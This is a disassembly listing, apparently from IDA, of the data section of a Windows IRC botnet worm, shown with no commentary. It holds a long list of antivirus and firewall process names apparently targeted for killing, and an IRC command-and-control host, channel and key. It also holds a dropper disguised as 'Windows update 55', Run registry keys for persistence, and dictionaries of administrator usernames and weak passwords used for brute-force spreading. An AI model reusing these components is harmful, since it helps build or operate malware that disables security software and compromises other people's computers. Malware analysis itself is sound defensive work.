aDrwebupw_exe	db 'DRWEBUPW.EXE',0     ; DATA XREF: .data:0042211Co
		align 4
aDrweb32_exe	db 'DRWEB32.EXE',0      ; DATA XREF: .data:00422118o
aDrwatson_exe	db 'DRWATSON.EXE',0     ; DATA XREF: .data:00422114o
		align 4
aDpps2_exe	db 'DPPS2.EXE',0        ; DATA XREF: .data:00422110o
		align 10h
aDpfsetup_exe	db 'DPFSETUP.EXE',0     ; DATA XREF: .data:0042210Co
		align 10h
aDpf_exe	db 'DPF.EXE',0          ; DATA XREF: .data:00422108o
aDoors_exe	db 'DOORS.EXE',0        ; DATA XREF: .data:00422104o
		align 4
aDllreg_exe	db 'DLLREG.EXE',0       ; DATA XREF: .data:00422100o
		align 10h
aDllcache_exe	db 'DLLCACHE.EXE',0     ; DATA XREF: .data:004220FCo
		align 10h
aDivx_exe	db 'DIVX.EXE',0         ; DATA XREF: .data:004220F8o
		align 4
aDeputy_exe	db 'DEPUTY.EXE',0       ; DATA XREF: .data:004220F4o
		align 4
aDefwatch_exe	db 'DEFWATCH.EXE',0     ; DATA XREF: .data:004220F0o
		align 4
aDefscangui_exe	db 'DEFSCANGUI.EXE',0   ; DATA XREF: .data:004220ECo
		align 4
aDefalert_exe	db 'DEFALERT.EXE',0     ; DATA XREF: .data:004220E8o
		align 4
aDcomx_exe	db 'DCOMX.EXE',0        ; DATA XREF: .data:004220E4o
		align 4
aDatemanager_ex	db 'DATEMANAGER.EXE',0  ; DATA XREF: .data:004220E0o
aClaw95_exe	db 'Claw95.EXE',0       ; DATA XREF: .data:004220D8o
		align 10h
aCwntdwmo_exe	db 'CWNTDWMO.EXE',0     ; DATA XREF: .data:004220D4o
		align 10h
aCwnb181_exe	db 'CWNB181.EXE',0      ; DATA XREF: .data:004220D0o
aCv_exe		db 'CV.EXE',0           ; DATA XREF: .data:004220CCo
		align 4
aCtrl_exe	db 'CTRL.EXE',0         ; DATA XREF: .data:004220C8o
		align 10h
aCpfnt206_exe	db 'CPFNT206.EXE',0     ; DATA XREF: .data:004220C4o
		align 10h
aCpf9x206_exe	db 'CPF9X206.EXE',0     ; DATA XREF: .data:004220C0o
		align 10h
aCpd_exe	db 'CPD.EXE',0          ; DATA XREF: .data:004220BCo
aConnectionmoni	db 'CONNECTIONMONITOR.EXE',0 ; DATA XREF: .data:004220B8o
		align 10h
aCmon016_exe	db 'CMON016.EXE',0      ; DATA XREF: .data:004220B4o
aCmgrdian_exe	db 'CMGRDIAN.EXE',0     ; DATA XREF: .data:004220B0o
		align 4
aCmesys_exe	db 'CMESYS.EXE',0       ; DATA XREF: .data:004220ACo
		align 4
aCmd32_exe	db 'CMD32.EXE',0        ; DATA XREF: .data:004220A8o
		align 4
aClick_exe	db 'CLICK.EXE',0        ; DATA XREF: .data:004220A4o
		align 10h
aCleanpc_exe	db 'CLEANPC.EXE',0      ; DATA XREF: .data:004220A0o
aCleaner3_exe	db 'CLEANER3.EXE',0     ; DATA XREF: .data:0042209Co
		align 4
aCleaner_exe	db 'CLEANER.EXE',0      ; DATA XREF: .data:00422098o
aClean_exe	db 'CLEAN.EXE',0        ; DATA XREF: .data:00422094o
		align 4
aClaw95cf_exe	db 'CLAW95CF.EXE',0     ; DATA XREF: .data:00422090o
					; .data:004220DCo
		align 4
aCfinet32_exe	db 'CFINET32.EXE',0     ; DATA XREF: .data:0042208Co
		align 4
aCfinet_exe	db 'CFINET.EXE',0       ; DATA XREF: .data:00422088o
		align 10h
aCfiaudit_exe	db 'CFIAUDIT.EXE',0     ; DATA XREF: .data:00422080o
					; .data:00422084o
		align 10h
aCfiadmin_exe	db 'CFIADMIN.EXE',0     ; DATA XREF: .data:0042207Co
		align 10h
aCfgwiz_exe	db 'CFGWIZ.EXE',0       ; DATA XREF: .data:00422078o
		align 4
aCfd_exe	db 'CFD.EXE',0          ; DATA XREF: .data:00422074o
aCdp_exe	db 'CDP.EXE',0          ; DATA XREF: .data:00422070o
aCcpxysvc_exe	db 'CCPXYSVC.EXE',0     ; DATA XREF: .data:0042206Co
		align 4
aCcevtmgr_exe	db 'CCEVTMGR.EXE',0     ; DATA XREF: .data:00422068o
		align 4
aCcapp_exe	db 'CCAPP.EXE',0        ; DATA XREF: .data:00422064o
		align 4
aBvt_exe	db 'BVT.EXE',0          ; DATA XREF: .data:00422060o
aBundle_exe	db 'BUNDLE.EXE',0       ; DATA XREF: .data:0042205Co
		align 4
aBs120_exe	db 'BS120.EXE',0        ; DATA XREF: .data:00422058o
		align 4
aBrasil_exe	db 'BRASIL.EXE',0       ; DATA XREF: .data:00422054o
		align 4
aBpc_exe	db 'BPC.EXE',0          ; DATA XREF: .data:00422050o
aBorg2_exe	db 'BORG2.EXE',0        ; DATA XREF: .data:0042204Co
		align 4
aBootwarn_exe	db 'BOOTWARN.EXE',0     ; DATA XREF: .data:00422048o
		align 4
aBootconf_exe	db 'BOOTCONF.EXE',0     ; DATA XREF: .data:00422044o
		align 4
aBlss_exe	db 'BLSS.EXE',0         ; DATA XREF: .data:00422040o
		align 4
aBlackice_exe	db 'BLACKICE.EXE',0     ; DATA XREF: .data:0042203Co
		align 4
aBlackd_exe	db 'BLACKD.EXE',0       ; DATA XREF: .data:00422038o
		align 10h
aBisp_exe	db 'BISP.EXE',0         ; DATA XREF: .data:00422034o
		align 4
aBipcpevalsetup	db 'BIPCPEVALSETUP.EXE',0 ; DATA XREF: .data:00422030o
		align 10h
aBipcp_exe	db 'BIPCP.EXE',0        ; DATA XREF: .data:0042202Co
		align 4
aBidserver_exe	db 'BIDSERVER.EXE',0    ; DATA XREF: .data:00422028o
		align 4
aBidef_exe	db 'BIDEF.EXE',0        ; DATA XREF: .data:00422024o
		align 4
aBelt_exe	db 'BELT.EXE',0         ; DATA XREF: .data:00422020o
		align 4
aBeagle_exe	db 'BEAGLE.EXE',0       ; DATA XREF: .data:0042201Co
		align 10h
aBd_professiona	db 'BD_PROFESSIONAL.EXE',0 ; DATA XREF: .data:00422018o
aBargains_exe	db 'BARGAINS.EXE',0     ; DATA XREF: .data:00422014o
		align 4
aBackweb_exe	db 'BACKWEB.EXE',0      ; DATA XREF: .data:00422010o
aAvxquar_exe	db 'AVXQUAR.EXE',0      ; DATA XREF: .data:00422008o
					; .data:0042200Co
aAvxmonitornt_e	db 'AVXMONITORNT.EXE',0 ; DATA XREF: .data:00422004o
		align 10h
aAvxmonitor9x_e	db 'AVXMONITOR9X.EXE',0 ; DATA XREF: .data:00422000o
		align 4
aAvwupsrv_exe	db 'AVWUPSRV.EXE',0     ; DATA XREF: .data:00421FFCo
		align 4
aAvwupd32_exe	db 'AVWUPD32.EXE',0     ; DATA XREF: .data:00421FF4o
					; .data:00421FF8o
		align 4
aAvwupd_exe	db 'AVWUPD.EXE',0       ; DATA XREF: .data:00421FF0o
		align 10h
aAvwinnt_exe	db 'AVWINNT.EXE',0      ; DATA XREF: .data:00421FECo
aAvwin95_exe	db 'AVWIN95.EXE',0      ; DATA XREF: .data:00421FE8o
aAvsynmgr_exe	db 'AVSYNMGR.EXE',0     ; DATA XREF: .data:00421FE4o
		align 4
aAvsched32_exe	db 'AVSCHED32.EXE',0    ; DATA XREF: .data:00421FE0o
		align 4
aAvpupd_exe	db 'AVPUPD.EXE',0       ; DATA XREF: .data:00421FD8o
					; .data:00421FDCo
		align 4
aAvptc32_exe	db 'AVPTC32.EXE',0      ; DATA XREF: .data:00421FD4o
aAvpm_exe	db 'AVPM.EXE',0         ; DATA XREF: .data:00421FD0o
		align 4
aAvpdos32_exe	db 'AVPDOS32.EXE',0     ; DATA XREF: .data:00421FCCo
		align 4
aAvpcc_exe	db 'AVPCC.EXE',0        ; DATA XREF: .data:00421FC8o
		align 4
aAvp32_exe	db 'AVP32.EXE',0        ; DATA XREF: .data:00421FC4o
		align 4
aAvp_exe	db 'AVP.EXE',0          ; DATA XREF: .data:00421FC0o
aAvnt_exe	db 'AVNT.EXE',0         ; DATA XREF: .data:00421FBCo
		align 4
aAvltmain_exe	db 'AVLTMAIN.EXE',0     ; DATA XREF: .data:00421FB8o
		align 4
aAvkwctl9_exe	db 'AVKWCTl9.EXE',0     ; DATA XREF: .data:00421FB4o
		align 4
aAvkservice_exe	db 'AVKSERVICE.EXE',0   ; DATA XREF: .data:00421FB0o
		align 4
aAvkserv_exe	db 'AVKSERV.EXE',0      ; DATA XREF: .data:00421FACo
aAvkpop_exe	db 'AVKPOP.EXE',0       ; DATA XREF: .data:00421FA8o
		align 10h
aAvgw_exe	db 'AVGW.EXE',0         ; DATA XREF: .data:00421FA4o
		align 4
aAvguard_exe	db 'AVGUARD.EXE',0      ; DATA XREF: .data:00421FA0o
aAvgserv9_exe	db 'AVGSERV9.EXE',0     ; DATA XREF: .data:00421F9Co
		align 4
aAvgserv_exe	db 'AVGSERV.EXE',0      ; DATA XREF: .data:00421F98o
aAvgnt_exe	db 'AVGNT.EXE',0        ; DATA XREF: .data:00421F94o
		align 10h
aAvgctrl_exe	db 'AVGCTRL.EXE',0      ; DATA XREF: .data:00421F90o
aAvgcc32_exe	db 'AVGCC32.EXE',0      ; DATA XREF: .data:00421F8Co
aAve32_exe	db 'AVE32.EXE',0        ; DATA XREF: .data:00421F88o
		align 4
aAvconsol_exe	db 'AVCONSOL.EXE',0     ; DATA XREF: .data:00421F84o
		align 4
aAutoupdate_exe	db 'AUTOUPDATE.EXE',0   ; DATA XREF: .data:00421F7Co
					; .data:00421F80o
		align 4
aAutotrace_exe	db 'AUTOTRACE.EXE',0    ; DATA XREF: .data:00421F74o
					; .data:00421F78o
		align 4
aAutodown_exe	db 'AUTODOWN.EXE',0     ; DATA XREF: .data:00421F6Co
					; .data:00421F70o
		align 4
aAupdate_exe	db 'AUPDATE.EXE',0      ; DATA XREF: .data:00421F64o
					; .data:00421F68o
aAu_exe		db 'AU.EXE',0           ; DATA XREF: .data:00421F60o
		align 4
aAtwatch_exe	db 'ATWATCH.EXE',0      ; DATA XREF: .data:00421F5Co
aAtupdater_exe	db 'ATUPDATER.EXE',0    ; DATA XREF: .data:00421F54o
					; .data:00421F58o
		align 4
aAtro55en_exe	db 'ATRO55EN.EXE',0     ; DATA XREF: .data:00421F50o
		align 4
aAtguard_exe	db 'ATGUARD.EXE',0      ; DATA XREF: .data:00421F4Co
aAtcon_exe	db 'ATCON.EXE',0        ; DATA XREF: .data:00421F48o
		align 4
aArr_exe	db 'ARR.EXE',0          ; DATA XREF: .data:00421F44o
aApvxdwin_exe	db 'APVXDWIN.EXE',0     ; DATA XREF: .data:00421F40o
		align 4
aAplica32_exe	db 'APLICA32.EXE',0     ; DATA XREF: .data:00421F3Co
		align 4
aApimonitor_exe	db 'APIMONITOR.EXE',0   ; DATA XREF: .data:00421F38o
		align 4
aAnts_exe	db 'ANTS.EXE',0         ; DATA XREF: .data:00421F34o
		align 10h
aAntivirus_exe	db 'ANTIVIRUS.EXE',0    ; DATA XREF: .data:00421F30o
		align 10h
aAntiTrojan_exe	db 'ANTI-TROJAN.EXE',0  ; DATA XREF: .data:00421F2Co
aAmon9x_exe	db 'AMON9X.EXE',0       ; DATA XREF: .data:00421F28o
		align 4
aAlogserv_exe	db 'ALOGSERV.EXE',0     ; DATA XREF: .data:00421F24o
		align 4
aAlevir_exe	db 'ALEVIR.EXE',0       ; DATA XREF: .data:00421F20o
		align 4
aAlertsvc_exe	db 'ALERTSVC.EXE',0     ; DATA XREF: .data:00421F1Co
		align 4
aAgentw_exe	db 'AGENTW.EXE',0       ; DATA XREF: .data:00421F18o
		align 4
aAgentsvr_exe	db 'AGENTSVR.EXE',0     ; DATA XREF: .data:00421F14o
		align 4
aAdvxdwin_exe	db 'ADVXDWIN.EXE',0     ; DATA XREF: .data:00421F10o
		align 4
aAdaware_exe	db 'ADAWARE.EXE',0      ; DATA XREF: .data:00421F0Co
aAckwin32_exe	db 'ACKWIN32.EXE',0     ; DATA XREF: .data:off_421F08o
		align 10h
; char aSD_0[]
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4088B4+191o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4088B4+5Ao
					; sub_4088B4+1F3o
		align 10h
; char aProcProcessL_0[]
aProcProcessL_0	db '[PROC]: Process list failed.',0 ; DATA XREF: sub_408AE3:loc_408B6Ao
		align 10h
aProcProcessLis	db '[PROC]: Process list completed.',0 ; DATA XREF: sub_408AE3+80o
; char aProcListingPro[]
aProcListingPro	db '[PROC]: Listing processes:',0 ; DATA XREF: sub_408AE3+19o
		align 4
dword_424A3C	dd 1B9h			; DATA XREF: WinMain(x,x,x,x)+519r
					; WinMain(x,x,x,x)+5CCr
dword_424A40	dd 346h			; DATA XREF: WinMain(x,x,x,x)+618r
dword_424A44	dd 1F41h		; DATA XREF: sub_409557:loc_40E5ADr
dword_424A48	dd 45h			; DATA XREF: sub_4022E3+3Br
					; sub_409557+45A3r
dword_424A4C	dd 50h			; DATA XREF: sub_4022E3:loc_402592r
					; sub_409557:loc_40DBECr
dword_424A50	dd 201h			; DATA XREF: sub_409557:loc_40DD62r
dword_424A54	dd 1			; DATA XREF: sub_409557+649r
dword_424A58	dd 1			; DATA XREF: WinMain(x,x,x,x)+13Dr
dword_424A5C	dd 1			; DATA XREF: sub_40724A+Cr
					; WinMain(x,x,x,x):loc_408F59r
byte_424A60	db 7Ah			; DATA XREF: sub_403A12:loc_403A1Er
					; sub_409557+6B4r ...
		align 4
dword_424A64	dd 5			; DATA XREF: sub_40F6CD+2Br
					; sub_40F6CD+51r ...
; int dword_424A68
dword_424A68	dd 1			; DATA XREF: sub_409277+78r
					; sub_409557+27Cr ...
; int dword_424A6C
dword_424A6C	dd 1			; DATA XREF: sub_409277+72r
					; sub_409557+276r
; char aFenr[]
aFenr		db 'FEnR',0             ; DATA XREF: WinMain(x,x,x,x)+5Do
					; sub_409557+35C2o ...
		align 4
aFenr_0		db 'FEnR',0             ; DATA XREF: sub_409557:loc_40E6B0o
		align 10h
; char a19736666386888[]
a19736666386888	db '19736666386888',0   ; DATA XREF: sub_409557+52D6o
					; sub_409557+53A5o
		align 10h
; char aFf_arabHacker_[]
aFf_arabHacker_	db 'ff.arab-hacker.org',0 ; DATA XREF: WinMain(x,x,x,x)+504o
					; WinMain(x,x,x,x)+5BDo
		align 4
; char aFf[]
aFf		db '#ff',0              ; DATA XREF: WinMain(x,x,x,x)+525o
					; WinMain(x,x,x,x)+5D3o
; char aFuckoff[]
aFuckoff	db 'fuckoff',0          ; DATA XREF: WinMain(x,x,x,x)+53Co
					; WinMain(x,x,x,x)+5E5o
; char aGvujaleodq_exe[]
aGvujaleodq_exe	db 'gvujaleodq.exe',0   ; DATA XREF: sub_40119B+Fo
					; .text:00401802o ...
		align 10h
aMscobngins_dat	db 'mscobngins.dat',0
		align 10h
aWindowsUpdate5	db 'Windows update 55',0 ; DATA XREF: sub_402FA4+Eo
		align 4
aFf_1		db '[FF]-',0            ; DATA XREF: sub_40F6CD+12o
		align 4
aPay0load	db 'pay0load',0
		align 4
asc_424AF8	db '+x',0               ; DATA XREF: sub_409557+5425o
		align 4
; char aFf_0[]
aFf_0		db '#ff-',0             ; DATA XREF: sub_409557:loc_40C034o
					; sub_409557+4403o
		align 4
aFfkey		db '#ffKey',0
		align 4
aFa		db '#fa',0
off_424B10	dd offset a@fofo	; DATA XREF: sub_409557:loc_40E889o
					; "*@fofo"
off_424B14	dd offset aMircV6_12Khale ; DATA XREF: sub_409557+82Dr
					; sub_409557+534Eo
					; "mIRC	v6.12 Khaled Mardam-Bey"
		dd offset aMircV6_03Khale ; "mIRC v6.03	Khaled Mardam-Bey"
		dd offset aMirc32V5_82K_m ; "mIRC32 v5.82 K.Mardam-Bey"
		dd offset aMirc32V6_01K_m ; "mIRC32 v6.01 K.Mardam-Bey"
		dd offset aMirc32V6_03K_m ; "mIRC32 v6.03 K.Mardam-Bey"
		dd offset aMirc32V6_12K_m ; "mIRC32 v6.12 K.Mardam-Bey"
		dd offset aMircV5_71K_mar ; "mIRC v5.71	K.Mardam-Bey"
		dd offset aMircV5_82K_mar ; "mIRC v5.82	K.Mardam-Bey"
		dd offset aMircV6_01K_mar ; "mIRC v6.01	K.Mardam-Bey"
		dd offset aMircV6_03K_mar ; "mIRC v6.03	K.Mardam-Bey"
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicr_1	db 'Software\Microsoft\OLE',0
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd 0
		dd offset byte_428D64
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass_0	; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_1	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser_2	; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp_0		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
dword_424E64	dd 10h			; DATA XREF: sub_402C6B+72w
					; sub_409557+718r ...
aIntranet	db 'intranet',0         ; DATA XREF: .data:00424E50o
		align 4
aLan		db 'lan',0              ; DATA XREF: .data:00424E48o
aMain		db 'main',0             ; DATA XREF: .data:00424E44o
		align 10h
aWinpass	db 'winpass',0          ; DATA XREF: .data:00424E40o
aBlank		db 'blank',0            ; DATA XREF: .data:00424E3Co
		align 10h
aOffice		db 'office',0           ; DATA XREF: .data:00424E38o
		align 4
aControl	db 'control',0          ; DATA XREF: .data:00424E34o
aXp_0		db 'xp',0               ; DATA XREF: .data:00424E30o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: .data:00424E2Co
		align 4
aHp		db 'hp',0               ; DATA XREF: .data:00424E28o
		align 10h
aSiemens	db 'siemens',0          ; DATA XREF: .data:00424E24o
aCompaq		db 'compaq',0           ; DATA XREF: .data:00424E20o
		align 10h
aDell		db 'dell',0             ; DATA XREF: .data:00424E1Co
		align 4
aCisco		db 'cisco',0            ; DATA XREF: .data:00424E18o
		align 10h
aIbm		db 'ibm',0              ; DATA XREF: .data:00424E14o
aOrainstall	db 'orainstall',0       ; DATA XREF: .data:00424E0Co
		align 10h
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .data:00424E08o
		align 4
aSql		db 'sql',0              ; DATA XREF: .data:00424E04o
aSa		db 'sa',0               ; DATA XREF: .data:00424E00o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: .data:00424DFCo
		align 4
aDb1		db 'db1',0              ; DATA XREF: .data:00424DF4o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .data:00424DF0o
		align 4
aData		db 'data',0             ; DATA XREF: .data:00424DECo
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: .data:00424DE8o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: .data:00424DE4o
		align 10h
aDbpass		db 'dbpass',0           ; DATA XREF: .data:00424DE0o
		align 4
aAccess		db 'access',0           ; DATA XREF: .data:00424DDCo
		align 10h
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .data:00424DD4o
		align 10h
aDomainpass	db 'domainpass',0       ; DATA XREF: .data:00424DD0o
		align 4
aDomain		db 'domain',0           ; DATA XREF: .data:00424DCCo
		align 4
aHello		db 'hello',0            ; DATA XREF: .data:00424DC8o
		align 4
aHell		db 'hell',0             ; DATA XREF: .data:00424DC4o
		align 4
aGod		db 'god',0              ; DATA XREF: .data:00424DC0o
aSex		db 'sex',0              ; DATA XREF: .data:00424DBCo
aSlut		db 'slut',0             ; DATA XREF: .data:00424DB8o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: .data:00424DB4o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .data:00424DB0o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: .data:00424DACo
		align 10h
aBackup		db 'backup',0           ; DATA XREF: .data:00424DA8o
		align 4
aTechnical	db 'technical',0        ; DATA XREF: .data:00424DA4o
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: .data:00424DA0o
		align 10h
aLogin		db 'login',0            ; DATA XREF: .data:00424D9Co
		align 4
aMary		db 'mary',0             ; DATA XREF: .data:00424D98o
		align 10h
aKatie		db 'katie',0            ; DATA XREF: .data:00424D94o
		align 4
aKate		db 'kate',0             ; DATA XREF: .data:00424D8Co
		align 10h
aGeorge		db 'george',0           ; DATA XREF: .data:00424D88o
		align 4
aEric		db 'eric',0             ; DATA XREF: .data:00424D84o
		align 10h
aChris		db 'chris',0            ; DATA XREF: .data:00424D80o
		align 4
aIan		db 'ian',0              ; DATA XREF: .data:00424D7Co
aNeil		db 'neil',0             ; DATA XREF: .data:00424D78o
		align 4
aLee		db 'lee',0              ; DATA XREF: .data:00424D74o
aBrian		db 'brian',0            ; DATA XREF: .data:00424D70o
		align 10h
aSusan		db 'susan',0            ; DATA XREF: .data:00424D68o
		align 4
aSue		db 'sue',0              ; DATA XREF: .data:00424D64o
aSam		db 'sam',0              ; DATA XREF: .data:00424D60o
aLuke		db 'luke',0             ; DATA XREF: .data:00424D5Co
		align 4
aPeter		db 'peter',0            ; DATA XREF: .data:00424D58o
					; .data:00424D6Co
		align 10h
aJohn		db 'john',0             ; DATA XREF: .data:00424D54o
		align 4
aMike		db 'mike',0             ; DATA XREF: .data:00424D50o
		align 10h
aBill		db 'bill',0             ; DATA XREF: .data:00424D4Co
		align 4
aFred		db 'fred',0             ; DATA XREF: .data:00424D48o
		align 10h
aJoe		db 'joe',0              ; DATA XREF: .data:00424D44o
aJen		db 'jen',0              ; DATA XREF: .data:00424D40o
aBob		db 'bob',0              ; DATA XREF: .data:00424D3Co
					; .data:00424D90o
aQwe		db 'qwe',0              ; DATA XREF: .data:00424D38o
aZxc		db 'zxc',0              ; DATA XREF: .data:00424D34o
aAsd		db 'asd',0              ; DATA XREF: .data:00424D30o
aQaz		db 'qaz',0              ; DATA XREF: .data:00424D2Co
aWin2000	db 'win2000',0          ; DATA XREF: .data:00424D28o
aWinnt		db 'winnt',0            ; DATA XREF: .data:00424D24o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: .data:00424D20o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .data:00424D1Co
		align 4
aWin98		db 'win98',0            ; DATA XREF: .data:00424D18o
		align 4
aWindows	db 'windows',0          ; DATA XREF: .data:00424D14o
aOeminstall	db 'oeminstall',0       ; DATA XREF: .data:00424D10o
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: .data:00424D0Co
aOem		db 'oem',0              ; DATA XREF: .data:00424D08o
; char aUser_2[]
aUser_2		db 'user',0             ; DATA XREF: sub_409557+1A22o
					; .data:00424D04o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: .data:00424D00o
		align 4
aHome		db 'home',0             ; DATA XREF: .data:00424CFCo
		align 10h
aAccounting	db 'accounting',0       ; DATA XREF: .data:00424CF8o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .data:00424CF4o
		align 4
aInternet	db 'internet',0         ; DATA XREF: .data:00424CF0o
					; .data:00424E4Co
		align 4
aWww		db 'www',0              ; DATA XREF: .data:00424CECo
aWeb		db 'web',0              ; DATA XREF: .data:00424CE8o
aOutlook	db 'outlook',0          ; DATA XREF: .data:00424CE4o
aMail		db 'mail',0             ; DATA XREF: .data:00424CE0o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .data:00424CDCo
		align 4
aNull_1		db 'null',0             ; DATA XREF: .data:00424CD8o
		align 4
aServer_1	db 'server',0           ; DATA XREF: .data:00424CD0o
		align 4
aSystem		db 'system',0           ; DATA XREF: .data:00424CCCo
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .data:00424CC4o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .data:00424CC0o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: .data:00424CBCo
		align 4
aDemo		db 'demo',0             ; DATA XREF: .data:00424CB8o
		align 10h
aNone		db 'none',0             ; DATA XREF: .data:00424CB4o
		align 4
aTest		db 'test',0             ; DATA XREF: .data:00424CACo
		align 10h
a2004		db '2004',0             ; DATA XREF: .data:00424CA8o
		align 4
a2003		db '2003',0             ; DATA XREF: sub_410E85+BAo
					; .data:00424CA4o
		align 10h
a2002		db '2002',0             ; DATA XREF: .data:00424CA0o
		align 4
a2001		db '2001',0             ; DATA XREF: .data:00424C9Co
		align 10h
a2000		db '2000',0             ; DATA XREF: .data:00424C98o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: .data:00424C94o
		align 4
a123456789	db '123456789',0        ; DATA XREF: .data:00424C90o
		align 10h
a12345678	db '12345678',0         ; DATA XREF: .data:00424C8Co
		align 4
a1234567	db '1234567',0          ; DATA XREF: .data:00424C88o
a123456		db '123456',0           ; DATA XREF: .data:00424C84o
		align 4
a12345		db '12345',0            ; DATA XREF: .data:00424C80o
		align 4
